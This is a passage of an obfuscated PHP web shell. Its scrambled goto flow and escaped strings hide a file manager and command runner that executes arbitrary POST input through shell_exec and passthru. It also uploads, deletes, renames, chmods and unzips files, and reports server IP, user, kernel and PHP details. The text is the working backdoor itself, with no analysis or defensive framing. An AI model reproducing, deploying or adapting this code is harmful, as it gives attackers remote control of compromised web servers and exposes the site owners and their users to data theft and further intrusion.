uGwHK($yrDZG[0]) . "\57" . UgWhK($yrDZG[1]); goto ybZXm; AE2Ew: $W008J = mime_content_type($uM71B); goto vVE9l; DZxOa: header("\x43\x6f\156\164\x65\156\164\x2d\x4c\145\x6e\x67\x74\x68\x3a\40" . filesize($uM71B)); goto hpA04; hIFS1: } goto fwZTh; lXRD0: echo $mWJjd[18]($mWJjd[14]($keVpk . "\57" . ugWhK($_GET["\156"]))); goto cyHmn; M4x5x: echo "\x54\150\x65\40\x27\x7a\x69\x70\x27\40\x63\x6f\x6d\155\141\156\x64\40\151\x73\x20\x61\166\x61\151\154\x61\142\154\145\72\x20" . trim($bzgfY) . "\xa"; goto Rn_2N; xghJY: $mKxy1 = "\x74\x65\163\164\x5f\143\x6f\x6d\155\x61\x6e\x64\x5f\x75\156\x7a\151\160"; goto i8jP4; LYRJc: unlink($E5Z_f); goto yUqwZ; Dj8ry: mIOi_: goto EWy47; INqQY: echo "\x3c\x2f\x6e\x6f\x62\162\76\xa\x20\40\40\40\x20\x20\74\57\144\x69\166\x3e\xa\x20\x20\40\40\40\x20\74\x62\162\x3e\xa\40\40\40\x20\40\40\x20\40\74\x64\x69\166\40\x63\x6c\141\x73\163\75\x22\x69\163\x2d\x66\x61\x6d\151\154\x79\x2d\x6d\x6f\x6e\x6f\163\160\141\143\x65\x20\x62\165\x74\164\x6f\x6e\x20\x69\163\55\x69\156\x66\157\x20\x70\154\55\x32\40\x69\x73\55\157\165\164\154\151\156\x65\144\40\151\163\55\x69\156\x76\145\162\x74\145\x64\42\76\xa\x20\x20\x20\x20\x20\40\x20\40\74\142\40\x63\154\x61\163\163\75\42\x74\141\x67\x20\151\x73\x2d\x69\156\146\157\42\76\123\145\162\166\x65\162\40\111\120\x3c\57\x62\x3e\xa\x20\x20\40\40\40\x20\x20\x20\x3c\156\x6f\x62\162\x20\143\x6c\141\x73\163\75\x22\x6d\x78\55\x32\42\x3e"; goto hRGsN; nPlIh: if (!($uKjJE == "\144\x65\154\x65\x74\x65")) { goto mIOi_; } goto zCGt4; o2t6T: echo substr(sprintf("\45\157", fileperms(Ugwhk($_GET["\160"]) . "\57" . UgWHk($_GET["\144"]))), -4); goto Rjllv; mYmQW: if (!(isset($_POST["\x63\147\146"]) && isset($_POST["\x63\157\144\x65\x78"]))) { goto ISTc7; } goto qE85o; LWcmT: $huZFR = fopen(basename(UgWhK($_GET["\160"]) . "\57" . $_POST["\155\141\x6b\x65\146\151\x6c\x65"]), "\167") or die(F2Y3t("\x46\141\151\154\145\x64\x20\164\157\40\143\162\145\141\x74\145\40\x66\x69\x6c\145\x21", 0)); goto gWY2k; DD3Zf: TiVoG: goto J3Gof; aMauj: $qJtBd = new pkTmj(); goto m8TO1; xMxKr: echo $_SERVER["\123\105\122\x56\105\122\x5f\101\x44\115\x49\x4e"]; goto td1r3; aVil9: echo "\74\x2f\x6e\x6f\142\x72\76\x3c\x2f\x6c\x69\76\12\x20\x20\40\40\74\154\x69\x3e\x55\x73\145\x72\40\x3a\x20\x3c\x6e\157\x62\162\76"; goto cPk5D; Ka8IZ: JaEu0: goto i0L9P; GECeh: if (!isset($_GET["\x63\150\x6d\157\x64\x64"])) { goto A6KR2; } goto auHmR; a3KVK: $zErae = 0; goto GpfQr; qtvxW: f2y3t("\x46\151\154\145\x20\143\162\145\141\164\145\x64\41"); goto nycFR; Gi67v: if (!isset($_GET["\143\x68\x65\143\153\x7a\151\160"])) { goto QrVTg; } goto GarFd; FzZRE: echo "\42\x3e\x3c\x62\162\x3e\xa\40\x20\40\40\x20\x20\x3c\151\x6e\160\x75\164\40\x20\x63\154\141\163\x73\75\x22\x62\165\164\164\x6f\x6e\x20\151\x73\x2d\x70\162\x69\155\141\162\171\40\x6d\x6c\x2d\x32\42\40\x74\x79\x70\145\x3d\x22\x73\x75\x62\x6d\151\164\x22\x20\166\141\x6c\165\x65\x3d\42\x63\150\x6d\x6f\x64\42\x3e\xa\40\x20\x20\x20\x3c\x2f\x64\151\x76\x3e\12\x9\x3c\x2f\146\157\162\x6d\x3e\12\74\57\144\151\x76\x3e\xa\x9"; goto mYmQW; fptV5: echo $_SERVER["\x53\105\122\126\x45\122\137\x53\117\106\124\x57\101\x52\x45"]; goto oIwRl; aDHsV: echo "\74\x2f\163\x70\141\156\76\xa\x20\x20\74\57\150\64\x3e\xa\x20\x20\40\x20\74\x64\151\x76\40\x63\154\x61\x73\163\75\x22\x66\151\x65\x6c\144\x22\x3e\xa\x20\x20\x20\x20\40\x20\x3c\154\141\x62\x65\x6c\40\x66\x6f\162\75\42\x63\164\156\42\x20\x63\x6c\x61\x73\x73\x3d\42\154\141\x62\x65\x6c\x22\x3e\103\x6f\156\164\x65\x6e\164\74\x2f\154\141\142\145\x6c\76\12\40\x20\x20\40\x20\x20\x3c\x74\x65\170\164\141\162\145\x61\x20\156\141\155\x65\x3d\x22\x63\164\x6e\42\x20\151\144\x3d\x22\x63\x74\x6e\42\40\143\157\154\x73\75\x22\63\60\42\x20\162\x6f\167\163\75\42\x31\60\42\40\143\154\141\x73\163\x3d\42\x74\145\x78\x74\x61\162\x65\141\x22\x3e"; goto lXRD0; LjELl: goto xNsqm; goto koPNe; T4Cf5: F2Y3t("\x66\x61\151\154\x65\x64\40\x74\x6f\x20\x64\x65\x6c\145\x74\145\x20\x74\150\x65\40\146\x6f\154\144\145\162", 0); goto Gffop; IQvT0: C3vwP: goto GECeh; x_PfO: echo "\x3c\x2f\156\157\x62\162\x3e\12\40\40\x20\40\40\40\74\x2f\x64\x69\x76\x3e\xa\x20\40\40\x20\x20\40\x3c\x64\x69\166\x20\143\154\x61\x73\163\75\x22\151\x73\x2d\146\x61\155\x69\x6c\171\x2d\x6d\157\x6e\157\163\x70\141\x63\145\40\x62\x75\164\164\x6f\156\x20\151\x73\55\x6c\151\147\150\x74\x20\160\154\x2d\62\x20\x69\163\x2d\157\165\164\154\151\x6e\145\144\40\x69\x73\55\x69\156\x76\x65\162\164\x65\144\42\76\xa\x20\x20\40\x20\x20\40\40\x20\x3c\x62\x20\143\x6c\x61\163\x73\75\42\164\141\147\40\151\x73\55\x6c\151\x67\150\x74\x20\x68\141\163\55\x74\145\x78\164\x2d\x64\x61\162\153\x22\x3e\x44\151\x73\x61\x62\154\x65\x64\x20\146\165\x6e\143\164\x69\x6f\x6e\x73\74\x2f\142\76\xa\40\x20\x20\40\40\40\x20\x20\74\x6e\x6f\142\162\x20\143\154\x61\x73\163\x3d\x22\155\170\x2d\62\42\76"; goto te6fx; H4KG0: dovnk: goto ia13p; Xw8fQ: echo "\x3c\57\156\x6f\142\x72\76\x20\x7c\40\x53\x65\162\166\145\x72\40\101\144\155\x69\156\x20\x3a\x20"; goto xMxKr; m14ts: echo "\74\x64\151\x76\40\x63\x6c\x61\163\x73\x3d\42\x6d\x79\x2d\x34\x20\x6d\x78\55\62\42\76\xa\x20\40\40\40\x3c\x70\162\x65\x20\143\154\x61\163\163\x3d\42\x6d\55\60\40\x70\55\64\40\x69\163\x2d\163\x69\172\x65\x2d\x36\40\x68\141\163\x2d\164\145\x78\164\x2d\x70\162\151\x6d\x61\162\x79\42\40\163\x74\x79\x6c\x65\x3d\42\142\157\162\144\145\x72\x3a\x32\x70\x78\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\61\x2c\x20\61\x30\x30\x25\54\x20\x34\x31\45\x29\x3b\x62\157\162\x64\145\162\x2d\162\x61\x64\x69\165\163\x3a\61\62\160\x78\73\42\76"; goto eKyjG; Digjf: if (!isset($_GET["\143\x68\145\143\x6b\x73\x65\x6e\x64"])) { goto zbRWn; } goto lQQJ8; V8laz: tYGoe: goto IQvT0; i8jP4: if (is_dir($mKxy1)) { goto Y5xBO; } goto o0Ubs; tHsvF: echo "\47\x29\73\x61\x6c\145\162\x74\x28\47\103\157\160\151\145\144\x20\164\157\x20\143\x6c\151\x70\x62\157\x61\162\144\47\51\73\42\x20\143\x6c\x61\163\x73\x3d\x22\151\163\55\x66\x61\155\x69\x6c\171\55\155\157\156\x6f\163\x70\141\143\x65\40\142\165\164\x74\x6f\156\x20\151\x73\x2d\163\x75\x63\143\x65\163\x73\x20\x70\154\55\x32\40\x69\x73\55\157\165\x74\x6c\x69\156\x65\x64\40\151\163\55\x69\156\166\145\162\164\145\144\x22\76\xa\x20\40\x20\x20\40\40\40\40\74\x62\40\x63\x6c\141\x73\x73\x3d\x22\164\x61\x67\40\x69\x73\55\x73\x75\143\x63\x65\x73\x73\40\155\162\55\62\x22\76\x53\141\146\145\x6d\157\144\x65\74\x2f\142\x3e\xa\x20\x20\40\x20\40\40\x20\x20\x3c\156\x6f\x62\x72\76"; goto bmtvF; ppGjr: goto dovnk; goto fQcpx; jGCGI: goto jH9T2; goto g2Jgz; LISdx: echo $_SERVER["\x50\110\x50\137\x53\105\114\106"]; goto ucLKu; NQaSR: echo UgwHk($_GET["\x6e"]); goto fWCEd; o7FZW: echo "\74\57\141\76\x3c\x2f\x63\x65\156\164\145\x72\x3e\xa\x20\40\x20\40\x20\40\74\x2f\150\63\x3e\12\x20\x20\x20\40\x3c\144\151\166\40\143\154\x61\x73\x73\x3d\x22\151\163\55\x66\154\145\170\x22\163\x74\171\x6c\x65\x3d\42\152\165\163\164\151\x66\171\55\x63\157\x6e\164\x65\x6e\x74\x3a\x73\160\x61\143\145\x2d\142\x65\x74\167\145\x65\156\42\76\12\12\x20\40\40\x20\74\144\x69\x76\40\163\x74\171\x6c\145\75\x22\x64\151\163\x70\x6c\x61\171\72\x20\x66\154\x65\x78\73\x66\154\145\x78\x2d\167\x72\x61\x70\72\40\x77\x72\x61\160\73\x6d\141\x78\55\167\151\144\164\150\x3a\40\x36\60\166\x77\x3b\147\141\x70\72\66\160\170\42\76\xa\40\x20\x20\x20\40\40\x3c\144\x69\x76\x20\157\x6e\143\154\x69\x63\153\75\42\x6e\141\x76\151\x67\141\x74\157\x72\56\x63\x6c\x69\x70\142\157\x61\162\x64\56\x77\162\x69\164\x65\x54\145\170\x74\x28\x27"; goto ousj7; S8AsQ: die("\143\150\145\x63\x6b\x2d\162\145\x73\165\154\164\x2d\61"); goto pur8d; J3Gof: echo "\x20\x20\x20\x20\40\40\74\57\x66\157\162\x6d\76\12\x20\x20\40\40\40\x20\x3c\57\x64\x69\x76\x3e\12\40\x20\x20\x20\x3c\57\x64\151\166\76\12\x20\x20\x20\74\x66\x6f\x72\x6d\40\155\145\164\x68\157\x64\x3d\42\107\105\x54\x22\x20\x6e\141\155\x65\75\42"; goto pQMdN; e3BHi: $G21FS = $_FILES["\x66"]["\x6e\141\x6d\x65"]; goto a3KVK; VqRBx: echo "\x27\51\73\x61\x6c\x65\162\x74\50\x27\103\157\x70\151\145\144\x20\164\x6f\x20\143\154\x69\160\x62\x6f\x61\162\x64\x27\51\x3b\42\40\x63\x6c\x61\x73\x73\x3d\42\151\x73\55\x66\x61\x6d\151\154\171\x2d\155\157\156\157\163\x70\x61\143\145\x20\142\x75\164\164\157\x6e\40\x69\163\55\x6c\151\156\153\40\x70\x6c\x2d\x32\x20\151\x73\55\x6f\165\164\154\x69\156\145\144\x22\76\12\x20\40\x20\40\x20\x20\40\x20\x3c\x62\x20\143\154\x61\x73\163\x3d\42\164\141\147\x20\x69\x73\55\154\x69\156\153\x20\x6d\162\55\62\x22\76\x55\156\x61\x6d\145\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\x3c\x6e\x6f\142\162\76"; goto hJOeL; IZHGt: $c4zya = strlen($Q0FGf); goto Und2g; nIBSq: function UocA2() { goto wuGR4; wuGR4: if (function_exists("\x63\165\x72\x6c\x5f\x76\145\162\x73\151\x6f\156")) { goto pNMw7; } goto QyyUB; spHOa: Rr2A4: goto e0n2a; XjKod: pNMw7: goto rRkXm; rRkXm: return "\117\x4e"; goto spHOa; QyyUB: return "\117\106\106"; goto yOf5H; yOf5H: goto Rr2A4; goto XjKod; e0n2a: } goto q7MtI; Y43gU: echo "\74\57\163\x70\x61\156\x3e\12\x20\40\x3c\57\x68\x34\76\xa\x20\x20\x3c\164\145\x78\x74\141\162\x65\x61\40\x6e\x61\x6d\x65\x3d\x22\143\164\x6e\42\40\151\144\75\42\143\164\x6e\42\x20\x63\157\x6c\163\x3d\x22\63\x30\42\40\162\x6f\167\163\x3d\x22\61\x35\x22\40\143\154\x61\163\163\75\x22\x74\x65\170\164\x61\x72\x65\x61\40\x69\163\x2d\146\141\155\x69\154\x79\x2d\155\157\x6e\157\x73\160\141\143\145\x22\x20\162\x65\141\x64\x6f\156\154\171\x3e"; goto zG1WA; hVz2W: xYS3g: goto d82TW; ia13p: function IyZXr($dU_aF) { goto mQaK_; rX3Ri: $zErae .= $keVpk & 0x8 ? $keVpk & 0x400 ? "\x73" : "\170" : ($keVpk & 0x400 ? "\x53" : "\55"); goto BiL8B; x2MQn: oGajv: goto FW8nJ; jQDIN: hWjg1: goto ug290; Xd3Ot: if (($keVpk & 0x1000) == 0x1000) { goto cSCnt; } goto Swit4; Ku9jS: goto oGajv; goto jQDIN; QPLw9: P1QLh: goto tIMzq; mQaK_: $keVpk = fileperms($dU_aF); goto BRw__; pk1pa: $zErae = "\163"; goto HFq8o; PGG4j: Biz53: goto ZKLiK; NBFVR: sjT26: goto BQlCm; H3hVd: $zErae .= $keVpk & 0x20 ? "\162" : "\55"; goto OcsnT; NKQXq: goto oGajv; goto PGG4j; VTSjS: goto oGajv; goto g5Mac; N81UG: if (($keVpk & 0x8000) == 0x8000) { goto Biz53; } goto jrSln; jXKBs: if (($keVpk & 0x2000) == 0x2000) { goto sjT26; } goto Xd3Ot; Jb7e_: $zErae = "\x62"; goto Ku9jS; jrSln: if (($keVpk & 0x6000) == 0x6000) { goto G0wWt; } goto MrVyJ; yy9PJ: $zErae .= $keVpk & 0x1 ? $keVpk & 0x200 ? "\x74" : "\x78" : ($keVpk & 0x200 ? "\x54" : "\55"); goto AYBhA; ZKLiK: $zErae = "\55"; goto tfgeN; HFq8o: goto oGajv; goto QPLw9; mkisg: $zErae .= $keVpk & 0x40 ? $keVpk & 0x800 ? "\163" : "\170" : ($keVpk & 0x800 ? "\x53" : "\55"); goto H3hVd; M8E43: G0wWt: goto Jb7e_; VCefQ: $zErae .= $keVpk & 0x2 ? "\167" : "\55"; goto yy9PJ; ug290: $zErae = "\x64"; goto LwWhn; MrVyJ: if (($keVpk & 0x4000) == 0x4000) { goto hWjg1; } goto jXKBs; ds60H: $zErae = "\160"; goto x2MQn; AYBhA: return $zErae; goto AYw2K; tfgeN: goto oGajv; goto M8E43; FW8nJ: $zErae .= $keVpk & 0x100 ? "\162" : "\x2d"; goto kHZep; t0RIp: kko_d: goto pk1pa; QQtXq: goto oGajv; goto t0RIp; Swit4: $zErae = "\165"; goto QQtXq; g5Mac: cSCnt: goto ds60H; LwWhn: goto oGajv; goto NBFVR; tIMzq: $zErae = "\x6c"; goto NKQXq; OcsnT: $zErae .= $keVpk & 0x10 ? "\167" : "\55"; goto rX3Ri; kHZep: $zErae .= $keVpk & 0x80 ? "\167" : "\55"; goto mkisg; BiL8B: $zErae .= $keVpk & 0x4 ? "\x72" : "\x2d"; goto VCefQ; BQlCm: $zErae = "\143"; goto VTSjS; BRw__: if (($keVpk & 0xc000) == 0xc000) { goto kko_d; } goto pedxa; pedxa: if (($keVpk & 0xa000) == 0xa000) { goto P1QLh; } goto N81UG; AYw2K: } goto FkiWe; uDHys: $mWJjd = array("\67\60\x36\x38\x37\x30\x35\x66\x37\x35\66\145\x36\61\66\x64\66\x35", "\67\x30\66\70\x37\60\x37\x36\66\x35\x37\x32\67\x33\x36\71\x36\146\66\145", "\66\67\x36\x35\67\64\66\x33\67\x37\66\64", "\x36\x33\66\70\x36\x34\x36\x39\67\x32", "\x37\x30\67\62\66\65\x36\67\65\146\67\63\x37\60\66\x63\66\71\x37\x34", "\x36\x31\67\62\67\62\x36\x31\67\x39\65\x66\x36\64\x36\71\x36\x36\x36\x36", "\x36\71\x37\x33\65\x66\x36\x34\x36\x39\x37\62", "\x36\x39\x37\63\65\146\66\x36\x36\71\66\x63\66\65", "\x36\71\x37\x33\x35\146\x37\67\67\x32\x36\71\67\64\x36\x31\66\x32\66\x63\66\65", "\66\71\x37\63\x35\x66\x37\62\66\65\x36\61\66\x34\66\61\66\x32\66\x63\x36\65", "\66\x36\x36\71\x36\143\66\x35\x37\x33\66\x39\x37\141\66\x35", "\x36\63\66\146\67\60\67\71", "\66\66\x36\x39\x36\143\66\x35\65\146\66\65\67\70\x36\71\x37\63\67\64\67\x33", "\x36\66\66\x39\66\x63\x36\65\65\x66\x37\x30\67\x35\67\64\65\x66\66\63\x36\x66\66\145\67\x34\x36\65\x36\x65\x37\64\67\x33", "\x36\x36\66\x39\x36\143\x36\x35\65\x66\x36\x37\x36\65\x37\x34\65\146\x36\63\x36\146\x36\x65\67\64\66\65\66\145\x37\64\x37\63", "\x36\144\x36\x62\66\x34\x36\71\x37\62", "\67\62\x36\65\x36\x65\x36\61\66\x64\x36\x35", "\x37\63\x37\64\67\x32\x37\64\66\146\67\x34\66\x39\66\x64\66\x35", "\x36\70\x37\64\x36\x64\x36\x63\x37\63\67\60\x36\65\66\63\66\71\66\61\x36\143\x36\63\x36\70\x36\61\67\62\67\63", "\66\x34\66\61\x37\64\x36\65", "\x36\x36\66\71\66\x63\x36\x35\66\x64\x37\x34\x36\71\x36\144\66\65"); goto Ii6qh; yTsJL: $mWJjd[3](ugWhk($_GET["\160"])); goto H4KG0; o0Ubs: mkdir($mKxy1); goto EKNsB; dC1QV: if (!isset($_GET["\143\150\155\x6f\x64\146"])) { goto jRMyk; } goto l750i; cPk5D: echo get_current_user(); goto Xw8fQ; ucLKu: echo "\42\x3e"; goto yAZoh; UvaCs: echo shell_exec($_POST["\145\x78\145\x63\155\144"]); goto KjXt9; SgmfV: $FZEHa = false; goto pVwzF; wltfg: phpinfo(); goto qZ3ot; Gffop: goto XD1zL; goto aXR3g; l750i: echo "\40\40\x3c\x64\151\x76\40\143\154\141\163\x73\x3d\42\143\157\x6e\164\x61\151\156\145\162\x20\x69\163\x2d\155\x61\x78\55\x74\x61\x62\x6c\145\164\42\x3e\xa\11\x3c\146\x6f\x72\155\x20\x61\x63\164\151\x6f\156\x3d\x22\x22\x20\143\x6c\x61\163\x73\x3d\42\142\x6f\x78\x22\x20\x6d\145\x74\x68\157\x64\x3d\42\x50\117\x53\124\42\40\x63\x6c\141\163\163\x3d\42\155\171\55\x32\x22\x20\163\164\x79\154\x65\x3d\42\x62\x6f\x72\144\x65\x72\72\x31\x70\170\40\x73\157\x6c\151\144\x20\x68\x73\154\x28\x31\67\x31\x2c\x20\x31\x30\x30\x25\x2c\x20\64\x31\x25\51\x3b\x22\x3e\12\x9\x9\74\154\x61\142\x65\x6c\40\143\x6c\141\163\163\x3d\x27\154\141\x62\x65\x6c\x27\x3e\x3c\163\160\141\x6e\x20\143\154\x61\163\x73\x3d\x22\x68\141\x73\55\164\x65\170\164\55\x70\x72\151\x6d\141\162\171\42\76\x43\150\141\x6e\x67\x65\x20\x50\145\162\155\x69\x73\x73\151\157\x6e\40\x46\x6f\x72\x20\106\151\154\x65\x3a\74\57\x73\160\x61\x6e\x3e\40"; goto NQaSR; kRxWW: echo substr(sprintf("\x25\x6f", fileperms(UGwHK($_GET["\x70"]) . "\x2f" . uGWHK($_GET["\156"]))), -4); goto FzZRE; XxcOa: $QI9IR = shell_exec("\165\156\x7a\151\160\x20{$fKgA3}\x20\x2d\144\x20{$mKxy1}\40\62\x3e\x26\x31"); goto KNEon; aygGR: cNHru: goto u2Psj; ynQAL: goto xNsqm; goto zkSv_; Ygctf: echo "\x20\x20\x3c\146\x6f\x72\155\40\x6d\x65\164\150\157\x64\x3d\x22\160\x6f\163\x74\42\x20\x63\154\x61\x73\x73\x3d\x22\142\157\170\42\163\164\x79\x6c\x65\75\x22\142\x6f\x72\x64\145\162\72\62\x70\x78\x20\x73\157\154\x69\144\40\x68\x73\154\x28\61\x37\61\x2c\x20\61\60\x30\x25\x2c\40\61\x36\x25\51\42\76\xa\x20\x20\40\40\74\150\64\x20\x63\154\x61\x73\x73\x3d\x22\151\x73\x2d\163\x69\172\x65\55\65\x20\x68\x61\x73\x2d\x74\x65\x78\164\x2d\167\x65\x69\x67\x68\x74\55\x62\157\x6c\x64\40\x68\x61\x73\x2d\164\x65\170\x74\x2d\160\x72\x69\x6d\x61\162\x79\40\155\x62\x2d\x34\x22\x3e\x52\145\x6e\x61\x6d\x65\40"; goto eIumX; aVplc: if (!($_GET["\x74"] == "\144")) { goto v0eS9; } goto xZKMy; ni_Wu: echo "\x5a\x69\160\40\146\x69\x6c\145\x20\143\x72\x65\x61\164\x65\144\x20\163\165\x63\x63\x65\163\x73\146\x75\x6c\x6c\171\40\165\x73\151\156\x67\x20\x63\157\x6d\x6d\x61\x6e\x64\x20\x6c\x69\x6e\145\56\12"; goto xghJY; zYm0b: $qJtBd->extractTo(getcwd()); goto He1Ij; Q1b9f: if ($uKjJE == "\156\x65\167\106\x69\x6c\x65") { goto UMC9K; } goto ez7b5; cxhRw: goto xNsqm; goto JAjFD; D2wrg: echo "\xa\74\x64\151\x76\40\x63\x6c\x61\163\163\75\42\151\163\x2d\x66\x6c\x65\170\40\x69\x73\55\141\x6c\151\x67\x6e\x2d\x69\x74\x65\x6d\x73\55\145\156\x64\40\x70\x78\55\62\x22\x3e\12\x20\40\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\x3d\x22\142\147\x2d\x64\141\162\x6b\40\142\x6f\x72\x64\145\162\x20\x74\x61\x62\x6c\145\x2d\x72\x65\x73\160\x6f\x6e\163\x69\x76\x65\40\155\164\x2d\62\40\x6d\162\x2d\62\x22\x3e\xa\40\x20\40\40\x3c\144\x69\x76\40\143\x6c\x61\163\163\75\42\x69\x73\x2d\146\141\x6d\x69\154\171\x2d\x6d\x6f\156\157\163\160\141\143\145\40\x62\165\x74\x74\x6f\x6e\40\151\x73\x2d\154\151\147\x68\x74\40\x69\x73\55\x72\x6f\165\x6e\144\145\x64\40\x69\163\x2d\x6f\165\164\154\x69\156\x65\x64\x22\x3e\xa\x20\x20\x20\x20\x20\40\x3c\163\x70\141\x6e\x3e\104\157\143\165\155\x65\156\164\40\122\x6f\157\164\72\x20"; goto FMjRe; k5wXS: echo passthru($_POST["\145\170\145\x63\x6d\x64"]); goto rwbFS; dJUVQ: f2Y3T("\106\141\x69\x6c\145\144\x20\x74\157\x20\145\x78\x74\162\x61\143\164\40\132\x49\120\x20\106\x69\154\x65\41", 0); goto viuV1; uB_8o: if (!isset($_POST["\x6d\x61\x6b\145\144\151\x72"])) { goto ezLha; } goto EJLF0; QOq4Y: goto e3VtV; goto DNDGC; Np5bS: echo substr(@phpversion(), 0, 20); goto RRg2S; EKNsB: Y5xBO: goto XxcOa; q7MtI: function Nut1O() { goto dQq0o; dQq0o: if (function_exists("\101\x4a\x5f\172\x33")) { goto po96r; } goto yPo88; XrNvF: po96r: goto A83Z1; A83Z1: return "\117\116"; goto UgQb4; yPo88: return "\117\x46\x46"; goto r6yia; UgQb4: Je2gA: goto c4NS2; r6yia: goto Je2gA; goto XrNvF; c4NS2: } goto yLU0O; FhGzc: function fGYw1($FK4d6, $jOTZk) { goto mT7h7; TYCSS: aP02V: goto Kp1c7; Rp3J0: $zErae = strlen($jOTZk) - 1; goto TYCSS; aSOtD: if (!(is_dir($FK4d6) || is_file($FK4d6))) { goto KFsRI; } goto e7dUt; VxNBY: --$zErae; goto ZvLKF; Ii1Xf: m50Oe: goto EQXoo; ZvLKF: goto aP02V; goto UXt25; e7dUt: if (!chmod($FK4d6, $LCW_S)) { goto m50Oe; } goto vu_Dt; mT7h7: $LCW_S = 0; goto Rp3J0; qWuht: VkyFb: goto VxNBY; Kp1c7: if (!($zErae >= 0)) { goto nlWHW; } goto KsKjI; KsKjI: $LCW_S += (int) $jOTZk[$zErae] * pow(8, strlen($jOTZk) - $zErae - 1); goto qWuht; EQXoo: KFsRI: goto RxyMT; vu_Dt: f2y3t("\x50\145\x72\155\x69\x73\x73\151\157\x6e\40\146\x6f\162\x20" . $FK4d6 . "\x5c\x6e\x43\x68\x61\156\x67\x65\x64\40\164\157\x20\55\x3e\40" . $jOTZk); goto Ii1Xf; UXt25: nlWHW: goto aSOtD; RxyMT: } goto Cq9ID; OhcY4: NbHdV: goto Dj8ry; sR1SU: l7TE1: goto aIh43; u2Psj: A6KR2: goto dC1QV; K8G1p: echo uGwhK($_GET["\156"]); goto jUVbS; qBcvL: echo "\x3c\57\x6e\157\142\x72\x3e\xa\x20\40\40\x20\40\x20\x20\40\74\142\x20\x63\x6c\x61\163\x73\75\x22\164\x61\x67\40\x69\x73\x2d\154\151\x67\x68\164\40\150\x61\x73\55\164\145\x78\x74\x2d\x64\x61\162\153\40\155\162\55\x32\x22\x3e\x4d\x79\123\x51\114\x3c\x2f\x62\x3e\xa\40\x20\x20\x20\x20\40\x20\x20\74\156\157\142\x72\76"; goto Vk0NB; jsW6g: die("\143\150\145\143\x6b\55\162\x65\163\x75\154\x74\55\x30"); goto d7XNG; fQcpx: X1heF: goto krM1G; HiUWT: $huZFR = $_POST["\172\151\160\x66\x69\x6c\x65"]; goto aMauj; fsnFz: Zdbyj: goto LWcmT; FkiWe: function F2y3T($oJwbz, $wWmdu = 1, $FK4d6 = '') { goto yyUAs; yyUAs: global $keVpk; goto Ggz2v; b7Iui: echo "\x3c\163\143\x72\151\x70\164\x3e\163\x77\141\154\50\173\164\151\x74\154\145\72\40\x22{$VpA9t}\42\x2c\x20\x74\x65\170\x74\72\40\x22{$oJwbz}\42\54\x20\151\143\157\156\x3a\40\42{$VpA9t}\42\x7d\51\56\164\150\145\156\x28\x28\142\164\x6e\x43\x6c\x69\x63\153\51\x20\x3d\x3e\x20\173\x63\157\x6e\x73\164\40\x6c\157\x63\75\47" . SIrA4($keVpk) . $FK4d6 . "\47\73\x69\146\x28\142\x74\156\x43\154\151\x63\x6b\46\46\154\x6f\143\51\173\x64\157\x63\165\155\145\156\x74\x2e\154\x6f\143\141\x74\151\157\156\x2e\x68\162\145\146\75\x27\77\x70\x3d\47\x2b\154\157\143\x7d\175\51\x3c\x2f\163\143\162\x69\x70\x74\76"; goto IpEq7; Ggz2v: $VpA9t = $wWmdu == 1 ? "\163\165\143\143\x65\x73\x73" : "\145\x72\162\157\x72"; goto b7Iui; IpEq7: } goto aEVGs; jMwg9: if (!($zErae < 30)) { goto YkZ08; } goto ZxJHB; OrZ4o: C0Md8: goto i4dlG; gFmxG: echo "\106\x61\x69\x6c\x65\x64\40\164\x6f\x20\165\x6e\x7a\151\x70\40\146\x69\x6c\x65\40\x75\163\x69\156\147\40\x63\x6f\x6d\x6d\141\x6e\x64\x20\154\151\156\x65\72\40{$QI9IR}\xa"; goto jGCGI; koPNe: A1Aby: goto cx2iT; nEtKu: xNsqm: goto J2Z1Z; waKUT: goto kWGcU; goto fsnFz; YBovb: zbRWn: goto Gi67v; aIh43: echo "\74\x2f\164\142\x6f\144\171\76\x3c\x2f\164\x61\142\154\145\x3e\12"; goto EkYla; VJrQl: E3PXK: goto PnUlf; ywBVP: F2Y3T("\106\x6f\x6c\144\145\x72\x20" . basename($_POST["\155\141\x6b\145\144\x69\162"]) . "\x20\x63\x72\145\x61\x74\145\x64\41"); goto S_wCk; POOFd: echo $_SERVER["\x53\x45\x52\126\105\122\137\101\104\x44\122"]; goto stDsX; hJOeL: echo substr(@php_uname(), 0, 120); goto ID3JS; pur8d: iyd7_: goto YBovb; YvqIy: echo "\124\x68\x65\40\47\x75\156\172\x69\160\x27\x20\x63\x6f\155\x6d\141\156\x64\x20\151\163\40\x61\166\141\151\154\141\142\154\x65\72\x20" . trim($K1rI2) . "\xa"; goto QOq4Y; ZbLg4: echo "\x3c\x74\x61\x62\154\145\x20\163\x74\x79\154\x65\x3d\x22\x77\x69\144\164\x68\72\61\60\x30\x25\42\x20\x63\x6c\141\x73\x73\75\42\164\x61\142\x6c\145\x20\155\x62\x2d\x32\40\151\x73\55\x66\x61\x6d\x69\x6c\171\55\155\x6f\156\x6f\163\x70\x61\x63\145\42\76\xa\x20\x20\74\164\x68\x65\x61\144\40\x63\x6c\141\x73\163\x3d\x22\x74\x65\x78\164\x2d\154\x69\147\150\164\42\76\xa\x20\40\40\x20\74\x74\x72\76\74\164\150\x3e\116\x61\155\x65\74\x2f\x74\x68\x3e\x3c\164\150\76\x53\151\172\145\x3c\57\164\x68\76\74\x74\150\76\120\x65\x72\155\x69\163\x73\151\157\156\74\57\x74\150\x3e\12\40\x20\x20\40\x20\40\x20\40\x20\40\74\164\150\x3e\x4c\141\163\164\40\115\157\144\151\146\151\x65\x64\74\57\x74\x68\76\xa\x20\x20\40\40\74\164\x68\76\101\143\164\x69\x6f\156\x3c\57\164\150\76\74\x2f\x74\162\76\12\x20\40\x3c\57\164\150\x65\141\144\x3e\xa\40\x20\74\164\142\157\144\x79\40\143\x6c\141\163\x73\x3d\x22\x74\145\170\x74\55\154\151\147\150\x74\x22\76\12"; goto dWgq8; cSOLn: if (!isset($_POST["\x65\x78\145\143\155\144"])) { goto oOGUu; } goto m14ts; g2rop: goto zBzhl; goto udm3W; eIumX: echo $_GET["\x74"] == "\144" ? "\146\x6f\154\x64\145\162" : "\x66\x69\x6c\x65"; goto cItqs; xuNK1: goto Rhx7x; goto FmM8h; GSvI4: function UGWhk($jN21H) { goto L_k5J; j7Ays: $R33Pj = strlen($jN21H) - 1; goto ey6fU; JP5XN: if (!($zErae < $R33Pj)) { goto hAfVm; } goto eMPv2; g_SxY: $zErae += 2; goto tsIzK; tsIzK: goto X4VeH; goto e_kB5; tjy3C: return $YcdOo; goto 